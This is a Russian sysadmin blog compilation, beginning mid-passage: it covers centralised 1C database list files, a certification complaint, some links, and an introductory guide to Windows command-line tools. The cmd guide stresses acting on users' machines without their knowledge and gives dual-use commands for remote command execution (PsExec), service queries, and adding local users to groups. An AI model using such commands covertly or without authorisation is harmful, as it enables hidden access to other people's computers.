из имеющейся базы. А базы с одним ID будут конфликтовать...\groups</span>Листинг каталога:\server\1C\bases....buh.cfgfin.cfgmanagers.cfgВ этом каталоге будут храниться файлы с расширением .cfg. Эти файлы будут иметь внутри себя ссылки на базы в каталоге ..\bases. Пример файла:CommonInfoBases=\server<span class=“number” style=“border: 0px; color: #2f98ff; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">1C\bases\base1.v8iCommonInfoBases=\server<span class=“number” style=“border: 0px; color: #2f98ff; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">1C\bases\base2.v8iВ это каталоге мы создаём индивидуальные для группы пользователей или же для конкретного пользователя списки баз. Именно на файлы из этой группы мы ссылаемся в конфигурационных файлах операционной системы пользователя.При такой схеме мы выносим управление списками баз 1С пользователей в сеть для не администраторов. На сетевой каталог с конфигурационными файлами дать доступ 1С разработчикам и пусть играются как хотят.А если необходимо изменить настройки какой-то базы, то мы правим её всего одни раз в файле \server\1C\bases\base.v8i, и это отразится у всех пользователей, т.к. все пользователи смотрят информацию о базе именно в этом файле.РезультатРезультат такого построения конфигурационных файлов:Исправить название базы, место расположение, параметры запуска — всё можно сделать в одном месте и единожды.Унификация названия баз — все пользователи о базе знают по одному общему названию.Пользователь сам не сможет поломать конфигурационные настройки, т.к. они хранятся не на его компьютере.Процесс управления списком баз на компьютере пользователя можно вернуть обратно 1С специалистам.Возможность поправить конфигурационные файлы, даже если пользователь спит далеко за часовыми поясами, а компьютер на текущий момент выключен.P. S.Если вы думаете, что это было самой сложной частью работы, то вы глубоко ошибаетесь.Инструкция на корпоративной wiki, как это работает.Всяческое содействие при размещении конфигурационного файла, или базы, а также добавление пользователям нужных ссылок.Полгода на плавное приобщение к новой схеме работы.Эти факторы не помогли мне пересадить наших 1С’ников на удобную для них схему работы.Зато, я трачу на это значительно меньше времени.Репост с хабра


Ничего не значащая сертификация

Прошел несколько тестов.Хвалюсь http://certifications.ru/resume/155997/В тестах куча ошибок, недочетов и просто глупых вопросов. Например, о классах IP-адресации. Ребят, да эти классы устарели, когда я ещё компьютеров то не видел.


Несколько интересных ссылок

  1. Что читают сотрудники гугл2. Инструкции по созданию лабораторного окружения с Windows Server 2012 Hyper-V

Парочка видео по ИБ.

Покажите родителям и другим слабо понимающим безопасность.1. Мобильные угрозы2. Кибервойны.


Сила командной строки. Вводная.

Тру-админы знают, что все операции с компьютером можно произвести так, чтобы пользователь даже не знал о том, что с его компьютером что-то происходило. И даже иметь домен не обязательно. Для самых маленьких в этой статье я опишу наиболее часто используемые мной утилиты командной строки, а в будущем, возможно, буду обновлять этот пост.Для юных админов сразу хочется сделать мотивационный пинок: не бойтесь cmd! Это ваш лучший друг и соратник. Понимаю, что при первом запуске cmd вам очень страшно и бегут какие-то непонятные буквоцифры и Морфеуса нет рядом. К этому быстро привыкаешь, и потом уже паникуешь, когда cmd не свернут в панель задач. А чтобы прокачать скилы и убить страх - ставьте Linux без графической оболочки! А ещё можно запустить tracert ya.ru и с умным видом говорить начальнику, что тестируешь производительность сетевой подсистемы южного моста виртуального сервера баз данных, запущенного в облаке.Интерпретатор командной строки cmd запускается из меню Стандартные или набором волшебных трёх букв (угадайте каких!) в строке Выполнить. Откроется черное окошко с белым приглашением. Вся это красотень настраивается как душе угодно, но сейчас не об этом.Перейдем к командам. Про ping писать не буду - и так все знают. Скажу лишь, что при добавлении к команде символов /? можно узнать много нового.Команды для работы с сетьюipconfig /all - позволяет узнать сетевые настройки: MAC сетевушки, IP-адрес, адреса шлюза и DNS серверов.ipconfig /flushdns - очищает кэш DNS. При подозрениях на проблемы в работе DNS, первым делом запускайте эту команду.ipconfig /renew - обновляет настройки сетевого адаптера с DHCP-сервера.netstat - отображение статистики TCP/IP и текущих сетевых подключений. Имеет множество параметров.netstat -a - отображает все подключения и ожидающие порты.netstat -b - отображает процесс, ответственный за открытый портnetstat -p TCP - выводит данные только по TCP. То же самое есть по UDP и TCPv6, UDPv6.netstat -r - выводит таблицу маршрутизации.Я чаще всего пишу так netstat -an | findstr :80. Тут мы получаем список всех соединений с/на порт 80. И если они есть, следующим запросом можно уже поискать какая программа пытается соединиться netstat -anb.arp -a - отображение таблицы преобразования IP-адреса в MAC. Полезно, когда нужно узнать MAC удаленного компьютера по его IP или наоборот.nslookup - проверяет соответствие IP-адреса DNS-имени. Используется при определении неисправностей системы DNS.Ещё существует целый отдельный шелл для работы с сетью. Он так и зовется netsh (net shell). Его возможности огромны. Приведу лишь наиболее используемое.netsh winsock reset - сброс сокета. Т.е. мягкий сброс всех сетевых настроек. О более жестком сбросе здесь.netsh позволяет детально настроить сетевую конфигурацию или посмотреть определенные значения, даже недоступные в графическом интерфейсе. За более подробной информацией предлагаю обратиться к встроенной справке (netsh /?).Семейство утилит net позволяет подключать/отключать сетевые диски (net use), расшаривать ресурсы (net share), просматривать расшаренные ресурсы в сети (net view). Последняя команда помогает при непонятных проблемах с подключением к общим папкам - можно увидеть конкретную ошибку, которую не показывает GUI. Утилиты net позволяют работать не только с сетью, несмотря на название. Можно создать локального пользователя (net user username /add), добавить его в группу (net localgroup groupname username /add), запустить (net start servicename) или остановить (net stop servicename) службу. Предлагаю поближе познакомиться с этими утилитами и они окажут вам хорошую помощь. Ну а если будет время и желание, то я сам постараюсь подробнее расписать о них в следующих постах.Управление удаленным компьютеромМногие начинающие админы считают, что терминал это прошлый век и недооценивают его возможности, так как все нужные операции можно произвести из графического интерфейса. А знаете ли вы, что все эти операции можно произвести и на удаленном компьютере, причем абсолютно незаметно для пользователя и без применения средств удаленного администрирования вроде RAdmin и TeamViewer? Ведь зачем отрывать дорогого бухгалтера от расчета вашей зарплаты только для того, чтобы посмотреть запущена ли на его машина служба общего реестра? Можно ведь просто набрать в командной строке sc \buhpc query remoteregistry.Вообще утилита sc довольно мощная - с её помощью можно детально настраивать управление службами. И не только на удаленном компьютере.Для управления удаленной машиной я использую утилиты Sysinternals великого Марка Руссиновича. Чаще всего это PsExec. Она позволяет запустить командную строку или любой другой процесс на удаленной машине (psexec \remotepc cmd). А дальше делать с ней всё, что захочется. Для этого нам и нужна сила cmd.Управление принтерами - prnjobs. Сам ещё не юзал, но обязательно разберусь и отпишусь.Ну вот и назрела тема для нескольких следующих постов. Это sc, prn*, net, netsh, wmic и Sysinternals. Ждём продолжения!1, 2